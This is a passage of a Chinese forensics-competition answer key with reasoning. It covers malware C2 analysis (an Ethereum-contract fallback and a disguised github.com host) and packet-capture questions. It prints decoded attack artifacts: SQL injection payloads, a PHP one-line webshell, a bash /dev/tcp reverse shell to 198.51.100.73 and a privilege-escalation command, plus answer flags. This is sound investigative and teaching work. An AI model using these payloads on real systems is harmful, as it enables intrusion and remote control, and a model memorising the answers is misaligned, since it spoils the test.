5Content-Type: multipart/form-data; boundary=、; name=\"file\"; filename=\"、Transfer-Encoding: chunked、Content-Type: application/json、Content-Type: application/x-www-form-urlencoded、access\_token、access\_token= —— 窃取数据的上传报文构造

6Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 —— 伪装的 UA

7A-NO-ADDR/A-NO-TABLE/A-NO-LIB/A-NO-INSTANCE/A-NO-RING/A-FAIL-WAIT/A-FAIL-START/A-FAIL-RES/A-FAIL-ITER/A-NO-ARCH/A-FAIL-CR/A-NO-PATH —— 取回 C2 过程中的状态码

8因此，模块中可确认的回连地址为 https://ethereum-rpc.publicn0de.com；真正的业务 C2 地址不落地在样本内，而是运行时由该合约返回（合约地址 0x999941b74F6bbc921D5174A5b29911562cd2D7CF、选择器 0xc2fb26a6），回连时使用主机名 github.com 作伪装。

题目答案

https://ethereum-rpc.publicn0de.com（真实业务 C2 由该链上合约返回，样本内无第二处硬编码 URL；通信主机名见 6.148 = github.com）

完成时间

20 分钟

6.148（填空题　1 分）

程序通信时，使用的主机名是什么？（答案格式：google.com）

题目解析

1模块字符串池中解密得到明文 HTTP 头 Host: github.com（池偏移 0x1400326D0，按 (0x5E12\*(i+1))&0xFFFF 的逐字 XOR 解出；引用点 0x140005542/0x140005640 位于请求构造函数 sub\_1400052D2 的真实主体内）。

2该字符串紧邻同类报文头（Transfer-Encoding: chunked、Content-Type: application/json、Content-Type: application/x-www-form-urlencoded、Content-Type: multipart/form-data; boundary=、access\_token），且在同一请求构造流程中被写入请求缓冲区 ⇒ 程序对外通信（上传窃取数据 / 请求 C2 配置）时使用的主机名为 github.com（域名前置/伪装手法；全模块除公链 RPC 域名外，仅此一个主机名）。

题目答案

github.com

完成时间

4 分钟

6.149（填空题　1 分）

分析程序中备用C2获取机制，区块链智能合约使用的原生加密货币是什么？（答案格式：ABC）

题目解析

1备用 C2 获取机制：模块用 WinHTTP 向 https://ethereum-rpc.publicn0de.com 发送 JSON-RPC eth\\_call： {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth\_call\",\"params\":[{\"to\":\"0x999941b74F6bbc921D5174A5b29911562cd2D7CF\",\"data\":\"0xc2fb26a6\"},\"latest\"]} —— to 为合约地址、data 为方法选择器（0xc2fb26a6），即调用链上智能合约的只读方法取回当前 C2 地址（合约内容可被运营者更新，从而绕过域名封禁）。

2该 JSON-RPC 方法 eth\_call 属于 Ethereum（以太坊） JSON-RPC 规范；RPC 端点域名 ethereum-rpc.publicn0de.com 亦明确指向以太坊主网 ⇒ 智能合约使用的原生加密货币为 ETH（以太坊原生币） 。

3旁证：模块中与之配套的错误码字符串（A-NO-ADDR、A-FAIL-CR、A-NO-RING 等）与合约读取流程一一对应；解出的合约地址为 0x…（以太坊地址格式）。

题目答案

ETH

完成时间

6 分钟

6.150（填空题　1 分）

分析程序文件采集策略，实现“文件采集.zip”中的任务，给出最终的flags是什么？（答案格式：A:flag{…}、B:flag{…}、C:flag{…}）

题目解析

1采集实现（内存载荷模块内，全部由静态反汇编确认）：

2目录枚举器 sub\_140016970（0x140016970）：NT 目录查询分批取 FILE\_DIRECTORY\_INFORMATION，对每条目调用回调指针，跳过 ./.. 与重解析点（attrs & 0x400）；回调指针在 0x140016953 处装入（即 README 所称 “collector callback”）。

3采集回调 sub\_1400170D0（0x1400170D0）：

4目录分支 0x140017307：cmp dword [cfg+0x24],0 ; jle → 不再下钻（depth 门槛）；拼子路径后以 depth-1 递归（0x14001779E mov ecx,[rbp+0x24] / 0x1400177A1 dec ecx / 0x1400177F7 call sub\_140016970）；

5文件分支：对目录项文件名做掩码匹配（lea rdi,[rcx+0x40]、mov ebp,[rcx+0x3c]），再判大小 0x1400184EC：eax=entry->EndOfFile(低32位)、ecx=cfg->size(+0x20)、setne dl(size!=0)、seta cl(file\_size>size)，dl&cl 即剔除；命中后 0x1400187FD call 0x14000c5d0 读取文件并加入本地集合。目录只下钻、从不入集合。

6匹配器（同函数内联 4 份）：先做仅 ASCII 字母的大小写折叠（lea esi,[c-0x41]; cmp esi,0x1A; or c,0x20; cmovae），再判 '?'(0x3F)、'\*'(0x2A)，失配回溯；[、]、~ 等按字面，整串前后锚定。

7掩码组合：同一指针数组两轮扫描——'!' 开头者去掉 ! 后匹配即无条件否决（0x1400183B0–0x1400183CA → 返回 0）；其余为保留项（0x1400183D5 置“存在保留项”标志）；最终 0x1400184D2 裁决 al = (~positive\_flag) | matched，为 0 才丢弃 ⇒ 无任何保留项时默认全通过（空数组 = 全收；全 ! 项 = 全收但受否决约束）。

8据此得到的筛选语义（答题规则）：path 为起始目录；mask 仅支持 \/?、仅 ASCII 大小写不敏感、! 项无条件否决、无保留项默认全收；depth 为可下钻子目录层数（每层 −1，≤0 停止）；size 为字节上限且含等号*、0 表示不限（零字节文件可采集）；link 仅影响 .lnk 跟随（本题全 false，无影响）。

9校准：用上述语义程序化复算题目自带样例 public\_cases/case.json 的 P01（path=Cal, mask=[\"\*.txt\"], depth=0, size=0）得到 P001，与给定答案一致。

1012 个任务复算后按题目算法生成阶段文本并求 SHA-256（submit.py 实际输出）：

CODE

A: flag{db74eb38f385bef873711bb493a9d0c27d7bf304c76ada2c6970e79a8c10d385}

B: flag{fdb3ba59cbe9d0379f644007e2ff41876e1bfa3fdbf7a9ec3a2fe380ca67ac6e}

C: flag{34cee5a5fb55680aa06362fceed40dbee53ed0639e762b733895c6151c04bd5e}

第六部分：网络流量分析

ANALYSIS

提示：分析办案人员提取的“流量数据包.zip”回答下列问题：

题号 · 答案 · 置信度 · 主要依据（帧号）

题号7.151

答案198.51.100.73

置信度高

主要依据（帧号）8981 起扫描、63546 起 hydra、78445 注入、81247/88417 WebShell 与反连

题号7.152

答案10.23.5.31（备选 10.23.4.20，见注）

置信度中

主要依据（帧号）桥接落点 86251/86651/87312/87780

题号7.153

答案6

置信度高

主要依据（帧号）10.23.4.20 对扫描 SYN 回 SYN/ACK 的端口：22/80/443/3306/8080/8443

题号7.154

答案rockyou.txt

置信度高

主要依据（帧号）请求头 X-Hydra-Wordlist: /usr/share/wordlists/rockyou.txt（63546 起全部 2 048 条）

题号7.155

答案401

置信度高

主要依据（帧号）2 048 条 signin 响应全为 401 {\"ok\":false,\"error\":\"invalid credentials\"}

题号7.156

答案view\\_token（备选 ledger\\_key，见注）

置信度中

主要依据（帧号）78445 请求体 {\"view\\_token\":\"…SQLi…\"}

题号7.157

答案443（备选 9443，见注）

置信度中

主要依据（帧号）78445 走 10.23.4.20:443

题号7.158

答案assetledger（备选 ledger\\_vault，见注）

置信度中

主要依据（帧号）78449 响应 \"database\":\"assetledger\"

题号7.159

答案avatar\\_20260918.php

置信度高

主要依据（帧号）79957 上传体 filename\\*=UTF-8''avatar\_20260918%2Ephp

题号7.160

答案33

置信度高

主要依据（帧号）81249 响应 base64 → uid=33(www-data) gid=33(www-data) groups=33(www-data)

题号7.161

答案HKDF-SHA256

置信度高

主要依据（帧号）有效提示链 cache-worker.9d31.2.js：HKDF\\_SHA256(concat(a,b,c),z,q,44)

题号7.162

答案\\未能确认\\

置信度—

主要依据（帧号）见「四、限制」

题号7.163

答案198.51.100.73:49152

置信度高

主要依据（帧号）88417 bash -c 'bash -i >& /dev/tcp/198.51.100.73/49152 0>&1'

题号7.164

答案\\未能确认\\

置信度—

主要依据（帧号）见「四、限制」

题号7.165

答案/media/2026/09/.cache/avatar\\_20260918.php

置信度高

主要依据（帧号）79959 响应 201 {\"resource\":\"/media/2026/09/.cache/avatar\\_20260918.php\"}

题号7.166

答案0

置信度高

主要依据（帧号）88412 响应 → uid=0(root) gid=0(root) groups=0(root)

题号7.167

答案\\未能确认\\

置信度—

主要依据（帧号）见「四、限制」

题号7.168

答案2200

置信度高

主要依据（帧号）tcp.analysis.retransmission 2 173 + tcp.analysis.out\\_of\\_order 27（两集互斥，均在 TLS 流内）

题号7.169

答案10.23.8.19

置信度中高

主要依据（帧号）唯一取走 75 个 cache-worker.\\*.js（含有效链 9d31）的客户端

题号7.170

答案sudo: a password is required

置信度高

主要依据（帧号）81253 响应 base64 解码

逐题解析

7.151 入侵者 IP：198.51.100.73

198.51.100.73 是唯一完成整条攻击链的外部地址：

POINT 1扫描：tshark -Y \"tcp.flags.syn==1 && tcp.flags.ack==0\" → 该 IP 源端口 32000+ 对 10.23.4.20 的 1–16384 端口各发 1 个 SYN（帧 8981 起，共 16 384 个端口、16 437 个 SYN）。

POINT 2目录爆破：UA feroxbuster/2.11.0，180 个请求（/admin/…、/old/…、/staff/…、/dev/…、/api/…），几乎全 404。

POINT 3口令爆破：UA Mozilla/5.0 hydra/9.5，2 048 次 POST。

POINT 4注入、WebShell 上传与利用、提权、反向 Shell 均源自该 IP。同一时间段内 192.0.2.61（Nmap 7.95，仅探测）、198.51.100.91（sqlmap，一次即被 403 blocked）、203.0.113.44（攻击蜜罐 trap.corp.local，响应头 X-Honeypot: lab-7）均为旁支/干扰。

7.152 最终落点被攻陷的主机：10.23.5.31（备选 10.23.4.20）

POINT 1桥接落点证据：09:36:50 起受害机以同一 UA 访问 analytics-b.corp.local（10.23.5.31）的 9443/10443/11443 三个端口，完成 POST /v5/ledger/query（ledger\_key 注入，回包含 \"database\":\"ledger\_vault\"、\"next\":\"/v5/sync/234b523e162bff13b8\"、blob、label、meta）→ GET /v5/sync/… → GET /v5/cache/… → GET /v5/export/c3818f4fa556cc3d（密文+tag），即数据的最终目标主机与最终外传源。

POINT 2备选读法：若按「取得 shell 的落点」判读，则为 10.23.4.20（WebShell 落地、提权到 root、建立反连的主机，见 7.159/7.160/7.165/7.166/7.163）。

7.153 扫描事件中目标主机响应 SYN/ACK 的 TCP 端口数：6

过滤器：ip.src==10.23.4.20 && tcp.flags.syn==1 && tcp.flags.ack==1，按 tcp.srcport 去重得： 443（帧 944 起，780 次，含正常业务）、22（帧 91）、80（帧 208）、3306（帧 6739）、8080（帧 25312）、8443（帧 26042）——共 6 个。（若把「本次扫描事件」理解为 203.0.113.44 对 10.23.4.99 的扫描，则该机仅 80/443 开放，答案为 2；但 7.154 的 hydra 字典取自 198.51.100.73 的攻击链，故本次扫描事件取该链的目标 10.23.4.20。）

7.154 爆破工具使用的字典：rockyou.txt

hydra 请求头（帧 63546 起每条都是）：

CODE

X-Hydra-Wordlist: /usr/share/wordlists/rockyou.txt

X-Dict-Offset: 0 … 2047

请求体形如 {\"u\":\"svc\_archive\",\"proof\":\"<43 字符 base64url>\",\"index\":N}，index 0→2047 对应字典偏移。

7.155 爆破请求服务端统一返回状态码：401

tshark -Y \"http.response\" -T fields -e http.response.code | Group-Object → 401 共 2 048 次（另有 200×1 572、404×179、206×10、403×6、201×1）。signin 响应体恒为 {\"ok\":false,\"error\":\"invalid credentials\"}——爆破全程未成功。

7.156 注入参数：view\_token（备选 ledger\_key）

帧 78445 POST /api/reports/render，请求体：

JSON

{\"view\_token\":\"MScpIFVOSU9OIFNFTEVDVCBkYXRhYmFzZSgpLHVwbG9hZF9yb3V0ZSxzZXJ2aWNlX3VzZXIgRlJPTSBhcmNoaXZlX2pvYnMtLSAt\",\"encoding\":\"base64url\"}

base64url 解码为：1') UNION SELECT database(),upload\_route,service\_user FROM archive\_jobs-- -。备选（桥接注入）：帧 86251 POST /v5/ledger/query 的 ledger\_key，解码为 0 UNION SELECT secret\_ref,fragment\_hint,node\_name FROM vault\_routes-- -。

7.157 注入端口：443（备选 9443）

上述 view\_token 注入走 10.23.4.20:443（帧 78445，tcp.dstport=443，Host: intranet.corp.local）；备选的 ledger\_key 注入走 10.23.5.31:9443（帧 86251，X-Pivot-Token: e255c3ab2315ceac2e4329c0c1b49938）。

7.158 目标数据库名：assetledger（备选 ledger\_vault）

帧 78449 响应：{\"node\":\"web-a\",\"database\":\"assetledger\",\"upload\":\"/api/public/avatar\",\"user\":\"svc\_archive\"}——其中的 upload 就是随后 WebShell 的落地路由。备选的桥接链响应（帧 86255）：{\"node\":\"analytics-b\",\"database\":\"ledger\_vault\",…}。

7.159 WebShell 文件名：avatar\_20260918.php

帧 79957 POST /api/public/avatar（multipart）：

CODE

Content-Disposition: form-data; name=\"avatar\"; filename\*=UTF-8''avatar\_20260918%2Ephp

Content-Type: image/png

<?php if(isset($\\_POST['\\_task'])){system(base64\\_decode($\\_POST['\\_task']));} ?>

文件名为 avatar\_20260918.php（伪装成 PNG 的 PHP 一句话木马，命令经 \_task 参数 base64 传入）。

7.160 WebShell 落地后初始 UID：33

帧 81247 \_task=aWQ（base64 → id），帧 81249 响应 dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk → 解码 uid=33(www-data) gid=33(www-data) groups=33(www-data)，即 33。

7.161 最终密码的加密算法：HKDF-SHA256

提示链文件由 10.23.8.19 取回（见 7.169），其中 25 条候选链里只有 9d31 三件套是真实算法描述（其余 24 条为 mode='scrypt/BLAKE2b/PBKDF2/HKDF\_SHA512/SHA256\_CONCAT' 干扰）：

POINT 1cache-worker.9d31.0.js：const x=(a,s)=>{let h=S256(s);return a.map((v,i)=>v^h[i&31])};const c=a=>[a.slice(0,12),a.slice(12)];

POINT 2cache-worker.9d31.1.js：const z=S256(peerCertificateDER).slice(0,16),q='intranet.corp.local|asset-v4';

POINT 3cache-worker.9d31.2.js：const o=HKDF\_SHA256(concat(a,b,c),z,q,44),key=o.slice(0,32),nonce=o.slice(32,44);

即最终层用 HKDF-SHA256 派生 32 字节密钥与 12 字节 nonce（与 /v5/export 返回的 AES-GCM 结构一致）。该链被攻击端头部自证：PUT /api/blob/… 与 POST /api/blob/…/commit 均带 X-Client-Build: 9d31（帧 83781–84661）。

7.162 / 7.164 / 7.167 未确认

见「四、限制」——多层链路的最外层输入（share1/share2/share3/bridge\_key、concat(a,b,c) 的 a/b/c）在本次抓包中未以可还原形式出现，未完成解密，故不臆造 SHA256 / 明文口令 / 密钥。

7.163 提权后建立的反向 Shell 地址：198.51.100.73:49152

帧 88417 请求体 \_task=YmFzaCAtYyAnYmFzaCAtaSA-JiAvZGV2L3RjcC8xOTguNTEuMTAwLjczLzQ5MTUyIDA-JjEn → base64url 解码： bash -c 'bash -i >& /dev/tcp/198.51.100.73/49152 0>&1'，响应 detached。抓包中无 49152 端口数据流（该会话未被捕获）。

7.165 服务器端实际保存的绝对路径：/media/2026/09/.cache/avatar\_20260918.php

帧 79959 响应（201）：{\"resource\":\"/media/2026/09/.cache/avatar\_20260918.php\"}；随后 5 次 POST 都打到该 URI（帧 81247/81251/81255/88410/88417）。

7.166 提权成功后最终 UID：0

帧 88410 \_task=YXJjaGl2ZS1tYWludCAtLWVsZXZhdGUgLS1wcm9vZiAyOWYzOThlMzcyY2QzOWNhNmViYjMzMjdmNzUzODRlYzk1YTBlNGI5ZmIzZTc1YmEzMjhjOGI2NWY5MWE5MzIz → archive-maint --elevate --proof 29f398e372cd39ca6ebb3327f75384ec95a0e4b9fb3e75ba328c8b65f91a9323；帧 88412 响应 → uid=0(root) gid=0(root) groups=0(root)，即 0。

7.168 TLS 重传数据包数：2200

CODE

tshark -n -r capture.pcap -Y \"tcp.analysis.retransmission\" -T fields -e frame.number → 2173

tshark -n -r capture.pcap -Y \"tcp.analysis.out\_of\_order\" -T fields -e frame.number → 27

两集合无交集（tcp.analysis.retransmission ∩ out\_of\_order = 0），且这 2 173 + 27 帧全部落在 TLS 流内（783 个 TLS 流，逐流归属已核对；其中 1 937 帧同时被标记 spurious\_retransmission，已包含在 2 173 内，不重复计）。故含乱序包合计 2 200。

7.169 有效候选链客户端 IP：10.23.8.19

POINT 125 条「候选链」以 cdn-<4hex>|v 的形式散落在 /static/js/cache-worker.<4hex>..js（共 75 个文件），每条链 3 个版本。

POINT 2只有 9d31 链的 3 个文件给出可执行的算法描述（见 7.161），其余 24 条链只有随机 mode= 与 hash(x+'<6位数字>') 干扰；且攻击端上传/提交请求头明确写着 X-Client-Build: 9d31，可判定有效候选链 = 9d31。

POINT 3请求归属统计：75 个 cache-worker.\.js 全部*由 10.23.8.19 请求（其余主机只取 css/gif 静态资源），故有效候选链的客户端 IP 为 10.23.8.19。

7.170 低权限运行命令失败的原始错误消息：sudo: a password is required

帧 81251 \_task=c3VkbyAtbiAtbA（base64 → sudo -n -l），帧 81253 响应 c3VkbzogYSBwYXNzd29yZCBpcyByZXF1aXJlZA（base64url，去掉了补位）→ 解码即 sudo: a password is required。